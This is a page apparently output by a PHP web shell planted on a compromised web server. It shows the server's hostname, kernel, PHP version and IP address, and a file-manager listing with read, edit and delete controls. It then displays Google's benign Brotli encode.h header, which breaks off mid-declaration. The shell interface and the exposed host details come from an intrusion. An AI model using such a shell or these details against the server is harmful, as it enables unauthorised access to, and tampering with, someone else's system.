x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/opt/cpanel/ea-brotli/include/brotli/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
decode.h 13.987 KB -rw-r--r-- 2020-08-27 14:12 R E G D
encode.h 16.954 KB -rw-r--r-- 2020-08-27 14:12 R E G D
port.h 10.461 KB -rw-r--r-- 2020-08-27 14:12 R E G D
types.h 2.554 KB -rw-r--r-- 2020-08-27 14:12 R E G D
REQUEST EXIT
/* Copyright 2013 Google Inc. All Rights Reserved. Distributed under MIT license. See file LICENSE for detail or copy at https://opensource.org/licenses/MIT */ /** * @file * API for Brotli compression. */ #ifndef BROTLI_ENC_ENCODE_H_ #define BROTLI_ENC_ENCODE_H_ #include #include #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /** Minimal value for ::BROTLI_PARAM_LGWIN parameter. */ #define BROTLI_MIN_WINDOW_BITS 10 /** * Maximal value for ::BROTLI_PARAM_LGWIN parameter. * * @note equal to @c BROTLI_MAX_DISTANCE_BITS constant. */ #define BROTLI_MAX_WINDOW_BITS 24 /** * Maximal value for ::BROTLI_PARAM_LGWIN parameter * in "Large Window Brotli" (32-bit). */ #define BROTLI_LARGE_MAX_WINDOW_BITS 30 /** Minimal value for ::BROTLI_PARAM_LGBLOCK parameter. */ #define BROTLI_MIN_INPUT_BLOCK_BITS 16 /** Maximal value for ::BROTLI_PARAM_LGBLOCK parameter. */ #define BROTLI_MAX_INPUT_BLOCK_BITS 24 /** Minimal value for ::BROTLI_PARAM_QUALITY parameter. */ #define BROTLI_MIN_QUALITY 0 /** Maximal value for ::BROTLI_PARAM_QUALITY parameter. */ #define BROTLI_MAX_QUALITY 11 /** Options for ::BROTLI_PARAM_MODE parameter. */ typedef enum BrotliEncoderMode { /** * Default compression mode. * * In this mode compressor does not know anything in advance about the * properties of the input. */ BROTLI_MODE_GENERIC = 0, /** Compression mode for UTF-8 formatted text input. */ BROTLI_MODE_TEXT = 1, /** Compression mode used in WOFF 2.0. */ BROTLI_MODE_FONT = 2 } BrotliEncoderMode; /** Default value for ::BROTLI_PARAM_QUALITY parameter. */ #define BROTLI_DEFAULT_QUALITY 11 /** Default value for ::BROTLI_PARAM_LGWIN parameter. */ #define BROTLI_DEFAULT_WINDOW 22 /** Default value for ::BROTLI_PARAM_MODE parameter. */ #define BROTLI_DEFAULT_MODE BROTLI_MODE_GENERIC /** Operations that can be performed by streaming encoder. */ typedef enum BrotliEncoderOperation { /** * Process input. * * Encoder may postpone producing output, until it has processed enough input. */ BROTLI_OPERATION_PROCESS = 0, /** * Produce output for all processed input. * * Actual flush is performed when input stream is depleted and there is enough * space in output stream. This means that client should repeat * ::BROTLI_OPERATION_FLUSH operation until @p available_in becomes @c 0, and * ::BrotliEncoderHasMoreOutput returns ::BROTLI_FALSE. If output is acquired * via ::BrotliEncoderTakeOutput, then operation should be repeated after * output buffer is drained. * * @warning Until flush is complete, client @b SHOULD @b NOT swap, * reduce or extend input stream. * * When flush is complete, output data will be sufficient for decoder to * reproduce all the given input. */ BROTLI_OPERATION_FLUSH = 1, /** * Finalize the stream. * * Actual finalization is performed when input stream is depleted and there is * enough space in output stream. This means that client should repeat * ::BROTLI_OPERATION_FINISH operation until @p available_in becomes @c 0, and * ::BrotliEncoderHasMoreOutput returns ::BROTLI_FALSE. If output is acquired * via ::BrotliEncoderTakeOutput, then operation should be repeated after * output buffer is drained. * * @warning Until finalization is complete, client @b SHOULD @b NOT swap, * reduce or extend input stream. * * Helper function ::BrotliEncoderIsFinished checks if stream is finalized and * output fully dumped. * * Adding more input data to finalized stream is impossible. */ BROTLI_OPERATION_FINISH = 2, /** * Emit metadata block to stream. * * Metadata is opaque to Brotli: neither encoder, nor decoder processes this * data or relies on it. It may be used to pass some extra information from * encoder client to decoder client without interfering with main data stream. * * @note Encoder may emit empty metadata blocks internally, to pad encoded * stream to byte boundary. * * @warning Until emitting metadata is complete client @b SHOULD @b NOT swap, * reduce or extend input stream. * * @warning The whole content of input buffer is considered to be the content * of metadata block. Do @b NOT @e append metadata to input stream, * before it is depleted with other operations. * * Stream is soft-flushed before metadata block is emitted. Metadata block * @b MUST be no longer than than 16MiB. */ BROTLI_OPERATION_EMIT_METADATA = 3 } BrotliEncoderOperation; /** Options to be used with ::BrotliEncoderSetParameter. */ typedef enum BrotliEncoderParameter { /** * Tune encoder for specific input. * * ::BrotliEncoderMode enumerates all available values. */ BROTLI_PARAM_MODE = 0, /** * The main compression speed-density lever. * * The higher the quality, the slower the compression. Range is * from ::BROTLI_MIN_QUALITY to ::BROTLI_MAX_QUALITY. */ BROTLI_PARAM_QUALITY = 1, /** * Recommended sliding LZ77 window size. * * Encoder may reduce this value, e.g. if input is much smaller than * window size. * * Window size is `(1 << value) - 16`. * * Range is from ::BROTLI_MIN_WINDOW_BITS to ::BROTLI_MAX_WINDOW_BITS. */ BROTLI_PARAM_LGWIN = 2, /** * Recommended input block size. * * Encoder may reduce this value, e.g. if input is much smaller than input * block size. * * Range is from ::BROTLI_MIN_INPUT_BLOCK_BITS to * ::BROTLI_MAX_INPUT_BLOCK_BITS. * * @note Bigger input block size allows better compression, but consumes more * memory. \n The rough formula of memory used for temporary input * storage is `3 << lgBlock`. */ BROTLI_PARAM_LGBLOCK = 3, /** * Flag that affects usage of "literal context modeling" format feature. * * This flag is a "decoding-speed vs compression ratio" trade-off. */ BROTLI_PARAM_DISABLE_LITERAL_CONTEXT_MODELING = 4, /** * Estimated total input size for all ::BrotliEncoderCompressStream calls. * * The default value is 0, which means that the total input size is unknown. */ BROTLI_PARAM_SIZE_HINT = 5, /** * Flag that determines if "Large Window Brotli" is used. */ BROTLI_PARAM_LARGE_WINDOW = 6, /** * Recommended number of postfix bits (NPOSTFIX). * * Encoder may change this value. * * Range is from 0 to ::BROTLI_MAX_NPOSTFIX. */ BROTLI_PARAM_NPOSTFIX = 7, /** * Recommended number of direct distance codes (NDIRECT). * * Encoder may change this value. * * Range is from 0 to (15 << NPOSTFIX) in steps of (1 << NPOSTFIX). */ BROTLI_PARAM_NDIRECT = 8, /** * Number of bytes of input stream already processed by a different instance. * * @note It is important to configure all the encoder instances with same * parameters (except this one) in order to allow all the encoded parts * obey the same restrictions implied by header. * * If offset is not 0, then stream header is omitted. * In any case output start is byte aligned, so for proper streams stitching * "predecessor" stream must be flushed. * * Range is not artificially limited, but all the values greater or equal to * maximal window size have the same effect. Values greater than 2**30 are not * allowed. */ BROTLI_PARAM_STREAM_OFFSET = 9 } BrotliEncoderParameter; /** * Opaque structure that holds encoder state. * * Allocated and initialized with ::BrotliEncoderCreateInstance. * Cleaned up and deallocated with ::BrotliEncoderDestroyInstance. */ typedef struct BrotliEncoderStateStruct BrotliEncoderState; /** * Sets the specified parameter to the given encoder instance. * * @param state encoder instance * @param param parameter to set * @param value new parameter value * @returns ::BROTLI_FALSE if parameter is unrecognized, or value is invalid * @returns ::BROTLI_FALSE if value of parameter can not be changed at current * encoder state (e.g. when encoding is started, window size might be * already encoded and therefore it is impossible to change it) * @returns ::BROTLI_TRUE if value is accepted * @warning invalid values might be accepted in case they would not break * encoding process. */ BROTLI_ENC_API BROTLI_BOOL BrotliEncoderSetParameter( BrotliEncoderState* state, BrotliEncoderParameter param, uint32_t value); /** * Creates an instance of ::BrotliEncoderState and initializes it. * * @p alloc_func and @p free_func @b MUST be both zero or both non-zero. In the * case they are both zero, default memory allocators are used. @p opaque is * passed to @p alloc_func and @p free_func when they are called. @p free_func * has to return without doing anything when asked to free a NULL pointer. * * @param alloc_func custom memory allocation function * @param free_func custom memory free function * @param opaque custom memory manager handle * @returns @c 0 if instance can not be allocated or initialized * @returns pointer to initialized ::BrotliEncoderState otherwise */ BROTLI_ENC_API BrotliEncoderState* BrotliEncoderCreateInstance( brotli_alloc_func alloc_fu